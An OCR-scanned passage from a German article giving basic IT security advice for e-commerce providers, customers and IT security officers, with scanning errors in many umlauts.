mehr Sicherheit flr Anbieter von
Dienstleistungen und fir Kunden
empfehlen wir nachfolgende Grund-
Uberlegungen:

» Wie sicher ist die IT einer Institu-
tion?

*  Welche IT-Sicherheitsmalinah-
men mussen ergriffen werden?

*  Wie missen diese MalRnahmen
umgesetzt werden?

*+  Wie hélt beziehungsweise ver-
bessert eine Institution das er-
reichte Sicherheitsniveau?

*  Wie sicher ist die IT relevanter
Kooperationspartner?

Im Nachgang sollten dann die Punk-
te fur den EDV Leiter oder Berater
abgestimmt werden:

Webseitenhinweise fiir Kunden

» Ein Shop sollte beim Bezahlvorgang eine sichere Browserverbindung aufbauen

(ssl, https);

» Ein glltiges und ausgestelltes Zertifikat der Verbindung;
» Echte URL im Browser eintragen (z.B. https://www.meine-domain/shop/, gefalscht
wirde das wahrscheinlich so aussehen: http://192.122.xxx.xxx/shop.de/~#/

%% %20/shop.de/index.php);

» Das SchloRsymbol in der Browserstatusleiste signalisiert eine sichere Verbin-

dung;

* Hinweis auf einen Anti-Virus-Schutz auf dem Kundenrechner. Auch er selbst muss
aktiv etwas fir die Sicherheit unternehmen;

» Banken, e-Shop Betreiber und andere Internetvertriebspartner fragen niemals
Passworter oder andere Zugangsdaten per E-Mail ab.

N
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Fir IT-Sicherheitsbeauftragte gilt
es, insbesondere folgende Punkte
zu beachten:

* besonnen und systematisch an
das Thema IT-Grundschutz her-
angehen

» Sicherheitsanalysen vornehmen,
Notwendigkeiten von Mafinah-
men erlautern

» Sicherheitsziele definieren und
Regelungen festlegen

» IT-Sicherheit auf Schutzmecha-
nismen aufbauen

* Durchsetzung der IT-Sicherheit
und permanente Kontrolle

Abschlielend bleibt uns als Fazit
der Ausblick in die Zukunft und die
Empfehlung mehr fir die eigene
Sicherheit zu tun und fir Kunden

Sicherheitsempfehlungen auszu-
sprechen.
Nicht nur Sicherheitsberater

stehen |lhnen dabei zur Verfligung
sondern eine ganze Industrie die
sich taglich den Hackern, Neppern
und Angreifern gegen Uber sieht. In
der Zukunft werden wir uns immer
ausgefeilteren  Angriffsmethoden
gegeniber sehen die dann immer
mehr Opfer unter Dienstleistern und
Kunden finden werden.

Das Vertrauen von Kunden in e-
Commerce kénnte dadurch enorm
geschmahlert werden wund die
wirtschaftliche Basis von Dienstan-
bietern im Internet kénnte zerstort
werden. Hierbei ist ein Imageverlust
eines Unternehmens im e-Commer-
ce vorprogrammiert und ist schwer
wieder herstellbar. Allein nur sich
um die eigene Sicherheit zu sorgen
reicht in der heutigen Zeit lange
nicht mehr aus und so missen Si-
cherheitsexperten, Anwender und
Hersteller mehr gemeinschaftlich
agieren.

Firewalls missen mit besseren
Features ausgestattet werden, An-
ti-Virus Software bekommt immer
mehr die Bedeutung mehr als nur
Viren zu erkennen und Sicher-
heitsexperten missen sich auf
kommende Gefahren einstellen um
Strategien zur Abwehr entwickeln
zu kénnen. @
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